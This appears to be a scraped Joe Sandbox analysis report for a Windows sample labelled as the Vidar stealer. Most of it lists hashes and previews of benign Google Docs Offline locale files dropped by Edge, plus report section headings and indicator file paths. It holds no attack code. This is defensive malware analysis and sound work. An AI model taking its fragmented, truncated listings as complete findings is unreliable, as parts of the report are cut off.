SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1l1ohfybAf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\phlng\5f3wl6

C:\ProgramData\phlng\5ppzus

C:\ProgramData\phlng\6fkfkx

C:\ProgramData\phlng\6xl68g

C:\ProgramData\phlng\8y5fk6

C:\ProgramData\phlng\8ycb1n

C:\ProgramData\phlng\8ym7qq

C:\ProgramData\phlng\900h4w

C:\ProgramData\phlng\b1n7gv

Windows Analysis Report
1l1ohfybAf.exe